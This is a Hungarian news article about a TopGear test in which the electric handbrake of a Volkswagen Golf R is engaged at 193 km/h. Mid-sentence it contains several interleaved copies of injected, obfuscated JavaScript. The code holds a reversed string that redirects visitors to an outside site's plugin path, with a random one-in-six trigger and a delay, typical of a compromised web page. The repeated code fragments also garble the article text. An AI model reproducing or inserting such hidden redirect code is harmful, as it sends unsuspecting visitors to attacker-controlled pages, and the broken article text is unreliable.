Az álmoskönyvek, a fizika és úgy általában semmilyen ok miatt nem tanácsos nagy sebességnél behúzni a kéziféket, különben nagyon csúnya baleset történhet. Amellett, hogy a szerkezetnek sem tesz jót a dolog, a kocsi teljesen irányíthatatlanná válik, és csak szerencse kérdése, mennyire ússza meg az ember ép bőrrel az ilyen helyzetet. De mi a helyzet akkor, ha a hagyományos helyett elektromos kézifék van az autóban, és ezt húzzuk be mondjuk 193 km/h-s tempónál? A brit TopGear csapata erre a kérdésre kereste a választ. A teszt alanya egy Volkswagen Golf R, amit egy repülőtéren hajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tottak meg. A műsorvezető Chris Harris egészen a…
- Hirdetés -